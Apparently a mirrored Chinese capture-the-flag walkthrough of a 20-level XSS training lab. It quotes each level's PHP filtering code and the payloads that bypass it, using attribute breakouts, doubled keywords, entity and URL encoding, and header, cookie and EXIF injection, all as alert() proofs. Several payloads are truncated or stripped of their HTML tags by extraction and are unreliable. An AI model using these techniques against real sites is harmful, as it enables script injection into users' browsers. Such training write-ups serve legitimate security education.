exif viewer java,1earn/XSS挑战-WalkThrough.md at master · Aleffine/1earn · GitHub

XSS挑战-WalkThrough

免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.

知识点

无过滤 XSS (level 1)

各种难度的构造闭合 XSS (level 2、3、4、5、6)

各种难度的绕过过滤 XSS (level 2、3、4、5、6)

双写拼接 XSS (level 7)

实体编码+HTML 编码 XSS (level 8、9)

input 中的 XSS (level 10)

HTTP headers 头中的 XSS (level 11、12、13)

exif XSS (level 14)

angularjs XSS (level 15)

URL 编码 XSS (level 16)

embed 标签的 XSS (level 17、18)

Flash XSS (level 19、20)

level 1

没什么过滤,直接使用 即可

payload: http:///level1.php?keyword=test

level 2

c31071c8098da57115b9cd9fcecb7b09.png

使用 "> 构造输入框的闭合

payload: test">

level 3

使用 ' 可以闭合

d7f8cd746e1e81db13fb0ecb96c78b65.png

构造 input 的 XSS,例如:

payload: test'οnmοuseοver='alert(1)'

payload: test'οnfοcus='alert(1)' autofocus '

level 4

$str = $_GET["keyword"];

$str2=str_replace(">","",$str);

$str3=str_replace("

发现过滤了 ,使用 " 可以闭合

测试一下 test"123

9f5d3721a8ae051d255c193634adeef8.png

构造 input 的 XSS,例如:

payload: test"οnfοcus=alert(1) autofocus "

level 5

$str = strtolower($_GET["keyword"]);

$str2=str_replace("

这一关主要过滤了

payload: ">M

level 6

$str = $_GET["keyword"];

$str2=str_replace("

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

和上一关一样,过滤的变多了,href,data,src 也被过滤,但是并没有将其大小写检测

一样,使用 "> 闭合,然后使用一个不被过滤的payload

payload: ">

level 7

$str =strtolower( $_GET["keyword"]);

$str2=str_replace("script","",$str);

$str3=str_replace("on","",$str2);

$str4=str_replace("src","",$str3);

$str5=str_replace("data","",$str4);

$str6=str_replace("href","",$str5);

这一关,只要检测到 on,href,src,script 等关键字,会直接过滤成空

闭合,然后双写,让他正好构造出 script

payload: ">alert("1")

level 8

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

$str7=str_replace('"','&quot',$str6);

echo '

友情链接
';

?>

这一关目的将 payload 写入 的 herf 中

尝试构造 payload ,其中 script 会被转成 scr_ipt

这里可以将 r 实体编号为 r,然后触发 HTML 解码,将 script 解码为 script

payload: javascript:alert(1)

level 9

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

$str7=str_replace('"','&quot',$str6);

if(false===strpos($str7,'http://'))

{

echo '

友情链接
';

}

else

{

echo '

友情链接
';

}

过滤和上一关一样,但判断是否有 http://

测试 javascript:alert("http://"),将其实体编码,构造 javascript:alert("http://")

level 10

$str = $_GET["keyword"];

$str11 = $_GET["t_sort"];

$str22=str_replace(">","",$str11);

$str33=str_replace("

echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'
';

页面中存在3个隐藏的 input 输入框,其中 t_sort 是传参的,直接在前端修改代码让他显示出来,输入 payload,构造一个 input 的 xss:

payload: test"οnfοcus=alert(1) autofocus type="text"

level 11

$str = $_GET["keyword"];

$str00 = $_GET["t_sort"];

$str11=$_SERVER['HTTP_REFERER'];

$str22=str_replace(">","",$str11);

$str33=str_replace("

echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'
';

这里的 t_ref 的 value 是我们访问这个网页的 referer 值,直接抓包修改 referer

payload: referer:test"οnfοcus=alert(1) autofocus type="text"

level 12

$str = $_GET["keyword"];

$str00 = $_GET["t_sort"];

$str11=$_SERVER['HTTP_USER_AGENT'];

$str22=str_replace(">","",$str11);

$str33=str_replace("

echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'
';

与上一题一样,这一题是判断 HTTP_USER_AGENT,直接抓包修改 HTTP_USER_AGENT

payload: HTTP_USER_AGENT:test"οnfοcus=alert(1) autofocus type="text"

level 13

setcookie("user", "call me maybe?", time()+3600);

ini_set("display_errors", 0);

$str = $_GET["keyword"];

$str00 = $_GET["t_sort"];

$str11=$_COOKIE["user"];

$str22=str_replace(">","",$str11);

$str33=str_replace("

echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'
';

这一题是 cookie 中的参数 user 传入导致 XSS,抓包修改 cookie

payload: user=test"οnfοcus=alert(1) autofocus type="text"

level 14

这一关的大体思路是在网页中嵌入了 http://www.exifviewer.org/ 这个网站,而这个第三方网站的作用是用于查看图片的 EXIF 信息,所以思路就是通过修改图片的 exif 信息,造成解析图片 exif 造成 XSS

我做的时候这个网站貌似无法访问了,所以这里找了另外一个网站 https://exifshot.com/app/

payload: exiftool(-k).exe -artist="" 1.jpg

c98f1ceedad519c4fd9c948e8d465281.png

level 15

这关使用 angularjs 的 ng-include

AngularJS ng-include 指令

ng-include 指令用于包含外部的 HTML 文件.包含的内容将作为指定元素的子节点.

ng-include 属性的值可以是一个表达式,返回一个文件名.默认情况下,包含的文件需要包含在同一个域名下.

可以认为是文件包含

直接在包含的页面里用

遵循 SOP,调用第一关代码.使用单引号包裹,否则变成注释.

payload: ?src='level1.php?name=test1'

level 16

<?php

ini_set("display_errors", 0);

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script"," ",$str);

$str3=str_replace(" "," ",$str2);

$str4=str_replace("/"," ",$str3);

$str5=str_replace(""," ",$str4);

echo "

".$str5."
";

?>

这一关过滤了空格,/ 等连接符,用 URL 编码绕过过滤

payload: %3Cimg%0dsrc=1%0dοnerrοr=alert(2)%3E

level 17

ini_set("display_errors", 0);

echo "";

这一关将 arg01 和 arg02 的参数分别写入 src 的值中,并过滤了尖括号,导致不能闭合标签.

在 embed 标签中尝试在 arg02 写入事件来触发 XSS.

payload: arg01=a&arg02=%20οnmοusedοwn=alert(1)

如果一直无法触发,可能是因为无法加载 swf 文件,建议可以换360浏览器做这一题

level 18

<?php

ini_set("display_errors", 0);

echo "";

?>

这一题我看代码好像没啥区别? 使用了上一关的 payload 正常弹出 arg01=a&arg02=%20οnmοusedοwn=alert(1)

.......是我姿势不对吗?

网上有人构造 arg01 造成的弹出,相应的 payload: arg01=a%20οnmοusedοwn=alert(2)&arg02=b,我试了一下我这也能弹🤔

arg01=a&arg02=b οnmοuseοut=alert(1)

arg01=a&arg02=b οnmοuseοut=alert`1`

arg01=a&arg02=b οnmοuseοver=alert`1`

level 19~20

以下2关都属于 Flash XSS,对于这个不了解,略

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值